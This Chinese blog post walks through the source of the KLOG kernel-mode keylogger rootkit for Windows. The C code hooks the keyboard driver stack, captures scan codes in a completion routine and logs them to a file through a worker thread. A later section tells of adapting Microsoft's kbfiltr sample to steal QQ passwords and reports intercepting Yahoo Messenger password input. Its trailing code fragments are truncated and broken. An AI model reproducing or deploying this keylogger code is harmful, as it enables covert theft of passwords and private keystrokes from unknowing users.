The KLOG Rootkit:A Walk-through
我们的叫做KLOG的键盘监视例子,是Clandestiny所写的并在在www.rootkit.com上发表了。下面我们来浏览分析一下她的代码。
ps:一个比较流行的键盘分层过滤驱动可以在www.sysinternals.com上找到。名字为ctrl2cap。KLOG就是在它的基础上完成的。
ROOTKIT.COM
这个程序的介绍能在下面找到:
www.rootkit.com/newsread.php?newsid=187
你可以在Clandestiny在ROOT.COM的个人空间中下载到。
你得明白KLOG这个例子是针对US的键盘布局的。因为每个击键都被作为扫描码发送,而不是你所按的键的实际字母,所以把扫描码转化为字母的步骤是必要的。这种映射依赖键盘的布局。
首先,DriverEntry被调用:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING RegistryPath )
{
NTSTATUS Status = {0};
然后,一个函数被设置来专门用于为键盘读取请求。KLOG的函数DispatchRead:
// Explicitly fill in the IRP handlers we want to hook.
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
驱动对象现在已经设置好了,你还得把它连到键盘设备链中。这个功能由函数HookKeyboard来完成:
// Hook the keyboard now.
HookKeyboard(pDriverObject);
看清楚HookKeyboard这个函数,如下:
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
// the filter device object
PDEVICE_OBJECT pKeyboardDeviceObject;
IoCreateDevice被用来创建设备对象。注意这个设备是没有名字的,还有,它是FILE_DEVICE_KEYBOARD类别的。还有,用到了DEVICE_EXTENSION结构的大小,它是个用户自定义的结构。
// Create a keyboard device object.
NTSTATUS status = IoCreateDevice(pDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,// no name
FILE_DEVICE_KEYBOARD,
0,
true,
&pKeyboardDeviceObject);
// Make sure the device was created.
if(!NT_SUCCESS(status))
return status;
为了与那些下面的键盘设备区分开来,跟新设备有关联的标志应该设置成唯一的。你可以通过DeviceTree之类的工具来来获得这方面的信息。在写键盘过滤驱动时,下面这些标志也许会用到:
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags
| (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &
~DO_DEVICE_INITIALIZING;
记得当设备对象被创建的时候,用到了DEVICE_EXTENSION结构的大小。这是任意一块能用来存储数据的不被分页的内存(也就是不用从页面文件读取的)。这块数据与该设备对象有练习。KLOG定义的DEVICE_EXTENSION结构如下:
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pKeyboardDevice;
PETHREAD pThreadObj;
bool bThreadTerminate;
HANDLE hLogFile;
KEY_STATE kState;
KSEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
HookKeyboard函数对该结构清零并创建一个指针来初始化某些成员:
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,
sizeof(DEVICE_EXTENSION));
// Get the pointer to the device extension.
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
插入层中的该键盘设备名字叫KeyboardClass0。其被转化为UNICODE字符串,并且过滤钩子通过调用IoAttachDevice()来实现。指向设备链中的下一个设备的指针存在pKeyboardDeviceExtension->pKeyboardDevice中。该指针被用来把IRPS传递给设备链中的下一个设备。
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString(&ntNameString, ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,
&ntNameString,
TRUE );
IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
return STATUS_SUCCESS;
}// end HookKeyboard
假定HookKeyboard一切都好,我们看看KLOG在DriverMain中继续处理其他的东东。下一步就是创建一个工作者线程(也就是后台线程,无用户界面的)用来把击键纪录到log文件中。工作者线程是必要的,因为文件操作在IRP处理函数中是不可能的。当扫描码已经进入IRPs,系统运行在DISPATCH IRQ level上,这时是不允许进行文件操作的。在把击键传送到一个共享缓存时,工作者线程能够访问它们并且把它们写到文件中去。工作者线程运行在一个不同的IRQ level----PASSIVE上,这个level文件操作是允许的。工作者线程的设置在InitThreadKeyLogger函数中实现:
InitThreadKeyLogger(pDriverObject);
InitThreadKeyLogger函数的实现如下:
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)
{
一个设备扩展的指针被用来初始化更多的成员。KLOG存储线程的状态在bThreadTerminate中。线程运行时其应该设置为false。
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject-
>DeviceObject->DeviceExtension;
// Set the worker thread to running state in device extension.
pKeyboardDeviceExtension->bThreadTerminate = false;
工作者线程通过调用PsCreateSystemThread来创建。可以看到,线程函数名称为ThreadKeyLogger并且设备扩展作为一个参数传递给线程函数。
// Create the worker thread.
HANDLE hThread;
NTSTATUS status = PsCreateSystemThread(&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pKeyboardDeviceExtension);
if(!NT_SUCCESS(status))
return status;
线程对象的指针存储在设备扩展中:
// Obtain a pointer to the thread object.
ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&pKeyboardDeviceExtension->pThreadObj,
NULL);
// We don't need the thread handle.
ZwClose(hThread);
return status;
}
回到DriverEntry,线程已经准备好了。一个共享链接链表被初始化并且存储在设备扩展中。该链表将包含捕获到的击键。
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
一个spinlock被初始化来同步对链接链表的访问。这使得链接链表的线程安全可靠,这是非常重要的。如果KLOG没有使用spinlock,当两个线程试图同时访问该链接链表时,可能会导致蓝屏错误。semaphore(信号量)知道在工作队列中项目的数量。
// Initialize the lock for the linked list queue.
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
// Initialize the work queue semaphore.
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);
下面的代码打开一个文件,c:\klog.txt,用于记录击键。
// Create the log file.
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[64] = "\\DosDevices\\c:\\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
RtlInitAnsiString(&ntNameString, ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);
InitializeObjectAttributes(&obj_attrib, &uFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);
if (Status != STATUS_SUCCESS)
{
DbgPrint("Failed to create log file...\n");
DbgPrint("File Status = %x\n",file_status);
}
else
{
DbgPrint("Successfully created log file...\n");
DbgPrint("File Handle = %x\n",
pKeyboardDeviceExtension->hLogFile);
}
Finally, a DriverUnload routine is specified for cleanup purposes:
// Set the DriverUnload procedure.
pDriverObject->DriverUnload = Unload;
DbgPrint("Set DriverUnload function pointer...\n");
DbgPrint("Exiting Driver Entry......\n");
return STATUS_SUCCESS;
}
此时,KLOG驱动挂钩到了设备链中并且开始获取击键IRPs。被调用来读取request的函数为DispatchRead。看一下这个函数:
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
当一个读请求被提交给键盘控制器时,该函数被调用。此时,IRP中没有任何数据能为我们所用。我们只是在击键被捕获之后才想看到IRP--当IRP在它回到设备链的路上时。
唯一的获知IRP已经完成的方法就是设置一个"完成函数"(a completion routine)。如果我们不设置"完成函数",IRP回到设备链的时候我们的东东就被忽略了。
当我们传递IRP到下一个在设备链中最底层的设时备时,我们需要设置IRP堆栈指针。堆栈在这里是容易让人误解的。每一个设备都简单地拥有一个私有的内存区可以与每一个IRP使用。这些私有的区域被以一定的次序安排。你可以用IoGetCurrentIrpStackLocation 和 IoGetNextIrpStackLocation来获得这些私有区域的指针。一个"目前"指针必须正指向下一个最底层驱动的私有区域在IRP被传递之前。所以,在调用IoCallDriver之前,调用IoCopyCurrentIrpStackLocationToNext:
// Copy parameters down to next level in the stack
// for the driver below us.
IoCopyCurrentIrpStackLocationToNext(pIrp);
Note that the completion routine is named "OnReadCompletion":
// Set the completion callback.
IoSetCompletionRoutine(pIrp,
OnReadCompletion,
pDeviceObject,
TRUE,
TRUE,
TRUE);
未决的IRPs的数量被记录以使KLOG不会被卸载除非处理完毕。
// Track the # of pending IRPs.
numPendingIrps++;
最后,IoCallDriver被用于传递IRP到在设备链中的下一个最底层的设备。记得指向下一个最底层设备的指针存储在设备扩展结构中的pKeyboardDevice中。
// Pass the IRP on down to \the driver underneath us.
return IoCallDriver(
((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp);
}// end DispatchRead
现在我们可以看到每一个READ IRP,一旦被处理完毕,我们就可以调用OnReadComletion函数。让我们看一下关于此的一些细节:
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,
IN PIRP pIrp, IN PVOID Context)
{
// Get the device extension - we'll need to use it later.
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject
->DeviceExtension;
该IRP的状态被检查。将其看作返回值,或者错误值。如果该值被设置为STATUS_SUCCESS,那就意味着IRP已经成功完成,并且它应该有一些击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构数组。IoStatus.Information成员包含有该数组的长度。
// If the request has completed, extract the value of the key.
if(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)
pIrp->AssociatedIrp.SystemBuffer;
int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
KEYBOARD_INPUT_DATA结构的定义如下:
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
KLOG现在通过所有的数组成员进行循环,从其中获得每一个击键:
for(int i = 0; i < numKeys; i++)
{
DbgPrint("ScanCode: %x\n", keys[i].MakeCode);
注意,我们接收两个事件:按键,松开键。对于一个简单的键盘监视来说,我们仅仅需要关注其中的一个。在这里,KEY_MAKE是一个重要的标记。
if(keys[i].Flags == KEY_MAKE)
DbgPrint("%s\n","Key Down");
记得该"完成函数"在DISPATCH_LEVEL IRQL被调用,这意味着文件操作是不允许的。为了绕过这个限制,KLOG通过一个共享链接链表把击键传递给工作者线程。临界区必须用来同步该共享链接链表的访问。内核强行实施一条规则:在某一时刻只有一个线程能够访问某个临界区。(Technical note:A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.)
KLOG分配了一些NonPagedPool的内存并把扫描码放到这些内存中。然后又从这些内存中放到链接链表中。Again,由于我们运行在DISPATCH level,内存仅能从NonPagedPool中分配。
KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
// Fill in kData structure with info from IRP.
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags = (char)keys[i].Flags;
// Add the scan code to the linked list
// queue so our worker thread
// can write it out to a file.
DbgPrint("Adding IRP to work queue...");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
The semaphore is incremented to indicate that some data needs to be processed:
// Increment the semaphore by 1 - no WaitForXXX after this call.
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,
0,
1,
FALSE);
}// end for
}// end if
// Mark the IRP pending if necessary.
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
Since KLOG is finished processing this IRP, the IRP count is decremented:
numPendingIrps-;
return pIrp->IoStatus.Status;
}// end OnReadCompletion
At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's now look at the worker thread routine:
VOID ThreadKeyLogger(IN PVOID pContext)
{
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECT pKeyboardDeviceObject =
pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA* kData; // custom data structure used to
// hold scancodes in the linked list
现在KLOG进入了一个循环。该代码等待使用KeWaitForSingleObject的信号量(semaphore)的到来。如果信号量增加,循环就继续。
while(true)
{
// Wait for data to become available in the queue.
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue,
Executive,
KernelMode,
FALSE,
NULL);
顶端节点从链接链表中安全移除。注意临界区的使用。
pListEntry = ExInterlockedRemoveHeadList(
&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceExtension->lockQueue);
内核线程不能够为外部所终止,要终止它只能靠它自己。这里KLOG检查一个标志位来决定它是否应该终止工作者线程。在KLOG卸载时才会这么做。
if(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
CONTAINING_RECORD宏必须用来获得指向在pListEntry结构中的数据的指针。
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
这里KLOG获得扫描码并将其转化为字符码。这通过一个有用的函数ConvertScanCodeToKeyCode来实现。该函数仅仅适用于US English键盘布局,当然,改一下就可用在其他的键盘布局了。
// Convert the scan code to a key code.
char keys[3] = {0};
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
// Make sure the key has returned a valid code
// before writing it to the file.
if(keys != 0)
{
如果文件句柄是有效的,使用ZwWriteFile来讲字符码写到纪录文件中。
// Write the data out to a file.
if(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status = ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
NULL,
NULL,
NULL,
&io_status,
&keys,
strlen(keys),
NULL,
NULL);
if(status != STATUS_SUCCESS)
DbgPrint("Writing scan code to file...\n");
else
DbgPrint("Scan code '%s' successfully written to file.\n",keys);
}// end if
}// end if
}// end while
return;
}// end ThreadLogKeyboard
KLOG的基本功能已经完成了。看一下Unload函数。
VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
// Get the pointer to the device extension.
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;
DbgPrint("Driver Unload Called...\n");
驱动必须unhook该设备通过IoDetachDevice:
// Detach from the device underneath that we're hooked to.
IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);
DbgPrint("Keyboard hook detached from device...\n");
这里用了一个timer,KLOG进入一个简短的循环直到所有的IRPs都被处理完。
// Create a timer.
KTIMER kTimer;
LARGE_INTEGER timeout;
timeout.QuadPart = 1000000;// .1 s
KeInitializeTimer(&kTimer);
如果一个IRP正在等待一个击键,upload就不会完成指导这个键被按下了:
while(numPendingIrps > 0)
{
// Set the timer.
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(
&kTimer,
Executive,
KernelMode,
false,
NULL);
}
现在KLOG说明工作者线程应该结束了:
// Set our key logger worker thread to terminate.
pKeyboardDeviceExtension->bThreadTerminate = true;
// Wake up the thread if its blocked & WaitForXXX after this call.
KeReleaseSemaphore(
&pKeyboardDeviceExtension->semQueue,
0,
1,
TRUE);
KLOG通过线程指针调用KeWaitForSingleObject,等待直到工作者线程被终止:
// Wait until the worker thread terminates.
DbgPrint("Waiting for key logger thread to terminate...\n");
KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
false,NULL);
DbgPrint("Key logger thread terminated\n");
最后,关闭记录文件。
// Close the log file.
ZwClose(pKeyboardDeviceExtension->hLogFile);
还有,一些清理工作应该做一下:
// Delete the device.
IoDeleteDevice(pDriverObject->DeviceObject);
DbgPrint("Tagged IRPs dead...Terminating...\n");
return;
}
这样,键盘监控就完成了。这无疑是很重要的一份代码--一个了不起的通向其他分层的ROOTKITS的起点。毫无疑问,就单单键盘监控就已经是我们所应掌握的最有价值的ROOTKITS之一了。击键告诉我们太多了,这还用说吗?
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=622112
http://hi.baidu.com/widebright/blog/item/ee0a5e60c1cb03de8db10dc4.html
http://msdn2.microsoft.com/en-us/library/ms790194.aspx
Windows Driver Kit: Human Input Devices
Driver Stacks for Non-HIDClass Keyboard and Mouse Devices
The following figure illustrates the driver stacks for PS/2 keyboard and mouse devices, and serial mouse devices. Driver Stacks for Non-HIDClass Keyboard and Mouse Devices Vendor drivers for PS/2 and serial keyboard and mouse devices are not required. Vendors can supply a filter driver for a PS/2 keyboard and mouse — see Features of the Kbfiltr and Moufiltr Drivers. For more information about supporting non-HIDClass keyboard and mouse devices, see the following: Non-HIDClass Keyboard and Mouse Devices Serial Devices and Drivers 看字面上的意思好像可以自己实现中间黑色的那层,然后就可以得到键盘的数据。在那层微软留了几个接口函数,可以让你自己实现键盘数据获取过滤等功能:
Windows Driver Kit: Human Input Devices
Kbfiltr Callback Routines
This section describes the Kbfiltr callback routines: KbFilter_InitializationRoutine KbFilter_IsrHook KbFilter_ServiceCallback
像在KbFilter_ServiceCallback这个函数中就可以得到键盘的按键数据
Windows Driver Kit: Human Input Devices
KbFilter_ServiceCallback
The KbFilter_ServiceCallback routine is a template for a filter service callback routine that supplements the operation of KeyboardClassServiceCallback. VOID
ParametersReturn ValueNone HeadersDeclared in kbfiltr.h. Include kbfiltr.h. CommentsThe ISR dispatch completion routine of the function driver calls KbFilter_ServiceCallback, which then calls KeyboardClassServiceCallback. A vendor can implement a filter service callback to modify the input data that is transferred from the device's input buffer to the class data queue. For example, the callback can delete, transform, or insert data. For more information about customizing the keyboard class service callback, see Connect a Class Service Callback and a Filter Service Callback to a Device. KbFilter_ServiceCallback runs in kernel mode at IRQL DISPATCH_LEVEL. See AlsoKeyboardClassServiceCallback, KEYBOARD_INPUT_DATA
--------------------------------------------------------------------------------------------------
Windows Driver Kit: Human Input Devices
KEYBOARD_INPUT_DATA
KEYBOARD_INPUT_DATA contains one packet of keyboard input data. typedef struct _KEYBOARD_INPUT_DATA {
MembersHeadersDeclared in ntddkbd.h. Include ntddkbd.h. CommentsIn response to an IRP_MJ_READ (Kbdclass) request, Kbdclass transfers zero or more KEYBOARD_INPUT_DATA structures from its internal data queue to the Win32 subsystem buffer. See AlsoIRP_MJ_READ (Kbdclass), KeyboardClassServiceCallback ------------------------------------------------------------------------------------------------------- 根据WinDDK中的kbfiltr这个例子,稍稍改了一下就可以得到一个键盘过滤驱动了。本来是想通过键盘驱动来获取QQ的密码的。不过好像QQ棋高一着,得到输入密码的时候,自己写的驱动的KbFilter_ServiceCallback函数中一直得不到键盘数据,看来是QQ自己的键盘驱动抢先一步完成IRP了。不知道怎么设置才能使自己的驱动处于比npkcrypt.sys (QQ的键盘驱动)更低的层次,不然是得不到键盘数据了。 (未完待续) ======================================================================= 修改后的用DbgPrint来打印键盘扫描码的程序的KeyboardClassServiceCallback 回调函数
VOID Routine Description: Called when there are keyboard packets to report to the RIT. You can do DeviceObject - Context passed during the connect IOCTL Return Value: Status is returned. --*/ PDEVICE_EXTENSION devExt; /****************************************************************/ data =InputDataStart; devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension; (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
安装自己修改后的键盘过滤驱动后(怎么安装参考WinDDK说明),就可以截获键盘数据了。每次键盘按下和弹起,用Dbgview.exe都可以查看到数据比如按下“D”键时可以得到33的扫描码。 实际测试发现可以拦下像雅虎通等程序的密码输入时的按键信息。应该是除了QQ的密码输入之外,其他地方的按键信息都可以拦下了。在网上找了一下资料,说是QQ采用一个韩国公司的键盘加密数据技术,在QQ密码输入的时候修改了系统的键盘中断IDT了。 怎么样在windows系统下修改键盘中断向量呢?继续学习吧!! |